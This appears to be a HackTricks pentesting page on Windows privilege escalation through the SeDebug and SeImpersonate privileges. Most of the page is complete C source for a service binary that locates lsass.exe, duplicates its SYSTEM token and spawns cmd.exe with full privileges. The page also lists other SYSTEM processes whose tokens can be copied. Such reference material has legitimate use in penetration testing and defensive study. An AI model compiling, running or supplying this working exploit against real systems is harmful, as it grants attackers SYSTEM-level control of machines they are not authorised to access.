HackTricks
Searchโ€ฆ
๐Ÿ‘ฝ
Network Services Pentesting
SeDebug + SeImpersonate copy token
Support HackTricks and get benefits!
The following code exploits the privileges SeDebug and SeImpersonate to copy the token from a process running as SYSTEM and with all the token privileges. In this case, this code can be compiled and used as a Windows service binary to check that it's working. However, the main part of the code where the elevation occurs is inside the Exploit function. Inside of that function you can see that the process _lsass.exe** is searched**, then it's token is copied, and finally that **token is used to spawn a new **cmd.exe_** with all the privileges of the copied token**.
Other processes running as SYSTEM with all or most of the token privileges are: services.exe, _svhost.exe_ (on of the firsts ones), wininit.exe, _csrss.exe_... (remember that you won't be able to copy a token from a Protected process). Moreover, you can use the tool Process Hacker running as administrator to see the tokens of a process.
1
#include <windows.h>
2
#include <tlhelp32.h>
3
#include <tchar.h>
4
#pragma comment (lib, "advapi32")
5
โ€‹
6
TCHAR* serviceName = TEXT("TokenDanceSrv");
7
SERVICE_STATUS serviceStatus;
8
SERVICE_STATUS_HANDLE serviceStatusHandle = 0;
9
HANDLE stopServiceEvent = 0;
10
โ€‹
11
//This function will find the pid of a process by name
12
int FindTarget(const char *procname) {
13
โ€‹
14
HANDLE hProcSnap;
15
PROCESSENTRY32 pe32;
16
int pid = 0;
17
18
hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
19
if (INVALID_HANDLE_VALUE == hProcSnap) return 0;
20
21
pe32.dwSize = sizeof(PROCESSENTRY32);
22
23
if (!Process32First(hProcSnap, &pe32)) {
24
CloseHandle(hProcSnap);
25
return 0;
26
}
27
28
while (Process32Next(hProcSnap, &pe32)) {
29
if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
30
pid = pe32.th32ProcessID;
31
break;
32
}
33
}
34
35
CloseHandle(hProcSnap);
36
37
return pid;
38
}
39
โ€‹
40
โ€‹
41
int Exploit(void) {
42
43
HANDLE hSystemToken, hSystemProcess;
44
HANDLE dupSystemToken = NULL;
45
HANDLE hProcess, hThread;
46
STARTUPINFOA si;
47
PROCESS_INFORMATION pi;
48
int pid = 0;
49
โ€‹
50
โ€‹
51
ZeroMemory(&si, sizeof(si));
52
si.cb = sizeof(si);
53
ZeroMemory(&pi, sizeof(pi));
54
โ€‹
55
// open high privileged process
56
if ( pid = FindTarget("lsass.exe") )
57
hSystemProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);
58
else
59
return -1;
60
61
// extract high privileged token
62
if (!OpenProcessToken(hSystemProcess, TOKEN_ALL_ACCESS, &hSystemToken)) {
63
CloseHandle(hSystemProcess);
64
return -1;
65
}
66
67
// make a copy of a token
68
DuplicateTokenEx(hSystemToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &dupSystemToken);
69
โ€‹
70
// and spawn a new process with higher privs
71
CreateProcessAsUserA(dupSystemToken, "C:\\windows\\system32\\cmd.exe",
72
NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
73
โ€‹
74
return 0;
75
}
76
โ€‹
77
โ€‹
78
void WINAPI ServiceControlHandler( DWORD controlCode ) {
79
switch ( controlCode ) {
80
case SERVICE_CONTROL_SHUTDOWN:
81
case SERVICE_CONTROL_STOP:
82
serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
83
SetServiceStatus( serviceStatusHandle, &serviceStatus );
84
โ€‹
85
SetEvent( stopServiceEvent );
86
return;
87
โ€‹
88
case SERVICE_CONTROL_PAUSE:
89
break;
90
โ€‹
91
case SERVICE_CONTROL_CONTINUE:
92
break;
93
โ€‹
94
case SERVICE_CONTROL_INTERROGATE:
95
break;
96
โ€‹
97
default:
98
break;
99
}
100
SetServiceStatus( serviceStatusHandle, &serviceStatus );
101
}
102
โ€‹
103
void WINAPI ServiceMain( DWORD argc, TCHAR* argv[] ) {
104
// initialise service status
105
serviceStatus.dwServiceType = SERVICE_WIN32;
106
serviceStatus.dwCurrentState = SERVICE_STOPPED;
107
serviceStatus.dwControlsAccepted = 0;
108
serviceStatus.dwWin32ExitCode = NO_ERROR;
109
serviceStatus.dwServiceSpecificExitCode = NO_ERROR;
110
serviceStatus.dwCheckPoint = 0;
111
serviceStatus.dwWaitHint = 0;
112
โ€‹
113
serviceStatusHandle = RegisterServiceCtrlHandler( serviceName, ServiceControlHandler );
114
โ€‹
115
if ( serviceStatusHandle ) {
116
// service is starting
117
serviceStatus.dwCurrentState = SERVICE_START_PENDING;
118
SetServiceStatus( serviceStatusHandle, &serviceStatus );
119
โ€‹
120
// do initialisation here
121
stopServiceEvent = CreateEvent( 0, FALSE, FALSE, 0 );
122
โ€‹
123
// running
124
serviceStatus.dwControlsAccepted |= (SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
125
serviceStatus.dwCurrentState = SERVICE_RUNNING;
126
SetServiceStatus( serviceStatusHandle, &serviceStatus );
127
โ€‹
128
Exploit();
129
WaitForSingleObject( stopServiceEvent, -1 );
130
โ€‹
131
// service was stopped
132
serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
133
SetServiceStatus( serviceStatusHandle, &serviceStatus );
134
โ€‹
135
// do cleanup here
136
CloseHandle( stopServiceEvent );
137
stopServiceEvent = 0;
138
โ€‹
139
// service is now stopped
140
serviceStatus.dwControlsAccepted &= ~(SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
141
serviceStatus.dwCurrentState = SERVICE_STOPPED;
142
SetServiceStatus( serviceStatusHandle, &serviceStatus );
143
}
144
}
145
โ€‹
146
โ€‹
147
void InstallService() {
148
SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CREATE_SERVICE );
149
โ€‹
150
if ( serviceControlManager ) {
151
TCHAR path[ _MAX_PATH + 1 ];
152
if ( GetModuleFileName( 0, path, sizeof(path)/sizeof(path[0]) ) > 0 ) {
153
SC_HANDLE service = CreateService( serviceControlManager,
154
serviceName, serviceName,
155
SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
156
SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path,
157
0, 0, 0, 0, 0 );
158
if ( service )
159
CloseServiceHandle( service );
160
}
161
CloseServiceHandle( serviceControlManager );
162
}
163
}
164
โ€‹
165
void UninstallService() {
166
SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CONNECT );
167
โ€‹
168
if ( serviceControlManager ) {
169
SC_HANDLE service = OpenService( serviceControlManager,
170
serviceName, SERVICE_QUERY_STATUS | DELETE );
171
if ( service ) {
172
SERVICE_STATUS serviceStatus;
173
if ( QueryServiceStatus( service, &serviceStatus ) ) {
174
if ( serviceStatus.dwCurrentState == SERVICE_STOPPED )
175
DeleteService( service );
176
}
177
CloseServiceHandle( service );
178
}
179
CloseServiceHandle( serviceControlManager );
180
}
181
}
182
โ€‹
183
int _tmain( int argc, TCHAR* argv[] )
184
{
185
if ( argc > 1 && lstrcmpi( argv[1], TEXT("install") ) == 0 ) {
186
InstallService();
187
}
188
else if ( argc > 1 && lstrcmpi( argv[1], TEXT("uninstall") ) == 0 ) {
189
UninstallService();
190
}
191
else {
192
SERVICE_TABLE_ENTRY serviceTable[] = {
193
{ serviceName, ServiceMain },
194
{ 0, 0 }
195
};
196
197
StartServiceCtrlDispatcher( serviceTable );
198
}
199
โ€‹
200
return 0;
201
}
Copied!
The code of this example was shared by an anonymous person.
Support HackTricks and get benefits!
Copy link